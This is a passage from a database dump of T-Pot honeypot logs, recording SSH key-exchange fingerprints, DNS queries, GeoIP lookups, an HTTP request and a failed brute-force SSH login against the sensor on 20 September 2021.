"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24010	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:22.30096+03	2021-09-20 14:15:08.240471+03	{"_id": "wAbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "693cefe0bf42", "@version": "1", "timestamp": "2021-09-20T11:08:22.300960Z", "@timestamp": "2021-09-20T11:08:22.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24011	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:22.437567+03	2021-09-20 14:15:08.24147+03	{"_id": "wgbkAnwBvYTbRNuEhBCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 514092211500051, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42196, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.437567Z", "@timestamp": "2021-09-20T11:08:22.437Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24012	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:08:22.697606+03	2021-09-20 14:15:08.24247+03	{"_id": "xAbkAnwBvYTbRNuEhBCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 37483, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2144, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 439933158727371, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 41936, "timestamp": "2021-09-20T11:08:22.697606Z", "@timestamp": "2021-09-20T11:08:22.697Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24013	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:08:22.696011+03	2021-09-20 14:15:08.24447+03	{"_id": "xQbkAnwBvYTbRNuEhBCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 37483, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 439933158727371, "@version": "1", "in_iface": "enp5s0", "src_port": 41936, "dest_port": 53, "timestamp": "2021-09-20T11:08:22.696011Z", "@timestamp": "2021-09-20T11:08:22.696Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24294	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:40.074125+03	2021-09-20 14:15:08.598501+03	{"_id": "zQbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "14cf92425486", "@version": "1", "duration": 2.974889039993286, "timestamp": "2021-09-20T11:08:40.074125Z", "@timestamp": "2021-09-20T11:08:40.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24014	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:22.160196+03	2021-09-20 14:15:08.245471+03	{"_id": "xwbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42196, "timestamp": "2021-09-20T11:08:22.160196", "@timestamp": "2021-09-20T11:08:22.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24015	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:23.520285+03	2021-09-20 14:15:08.24647+03	{"_id": "7wbkAnwBvYTbRNuEiRCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54884, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.520285", "@timestamp": "2021-09-20T11:08:23.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24016	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:24.377956+03	2021-09-20 14:15:08.24747+03	{"_id": "DwbkAnwBvYTbRNuEjhEJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4a49f30d01e7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:24.377956Z", "@timestamp": "2021-09-20T11:08:24.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24017	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:24.921042+03	2021-09-20 14:15:08.248471+03	{"_id": "EAbkAnwBvYTbRNuEjhEJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4a49f30d01e7", "@version": "1", "timestamp": "2021-09-20T11:08:24.921042Z", "@timestamp": "2021-09-20T11:08:24.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24018	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:25.023561+03	2021-09-20 14:15:08.24947+03	{"_id": "EQbkAnwBvYTbRNuEjhEJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [sales/sales123] failed", "session": "693cefe0bf42", "@version": "1", "password": "sales123", "username": "sales", "timestamp": "2021-09-20T11:08:25.023561Z", "@timestamp": "2021-09-20T11:08:25.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24019	124.121.6.234	109.199.241.180	Tanner	2021-09-20 14:08:25.365444+03	2021-09-20 14:15:08.25147+03	{"_id": "EgbkAnwBvYTbRNuEjhGq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/", "peer": {}, "type": "Tanner", "uuid": "c012a53c-47fa-414b-a3ea-566b19c5491a", "geoip": {"ip": "124.121.6.234", "asn": 17552, "as_org": "True Internet Co.,Ltd.", "latitude": 13.7663, "location": {"lat": 13.7663, "lon": 100.6503}, "timezone": "Asia/Bangkok", "city_name": "Bangkok", "longitude": 100.6503, "postal_code": "10240", "region_code": "10", "region_name": "Bangkok", "country_name": "Thailand", "country_code2": "TH", "country_code3": "TH", "continent_code": "AS"}, "method": "GET", "src_ip": "124.121.6.234", "status": 200, "cookies": {"sess_uuid": null}, "headers": {"user-agent": null}, "@version": "1", "src_port": 32818, "dest_port": 80, "timestamp": "2021-09-20T11:08:25.365444", "@timestamp": "2021-09-20T11:08:25.365Z", "response_msg": {"version": "0.6.0", "response": {"message": {"detection": {"name": "index", "type": 1, "order": 1, "version": "0.6.0"}, "sess_uuid": "2dc60a9a-e1d7-4fa2-82a5-54295fe31f7e"}}}, "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	\N	\N	\N
24020	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:08:25.758077+03	2021-09-20 14:15:08.25247+03	{"_id": "FAbkAnwBvYTbRNuEkBFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 849707398670107, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49932, "dest_port": 22, "timestamp": "2021-09-20T11:08:25.758077Z", "@timestamp": "2021-09-20T11:08:25.758Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24021	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:25.75823+03	2021-09-20 14:15:08.254471+03	{"_id": "GAbkAnwBvYTbRNuEkRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49932, "timestamp": "2021-09-20T11:08:25.758230", "@timestamp": "2021-09-20T11:08:25.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 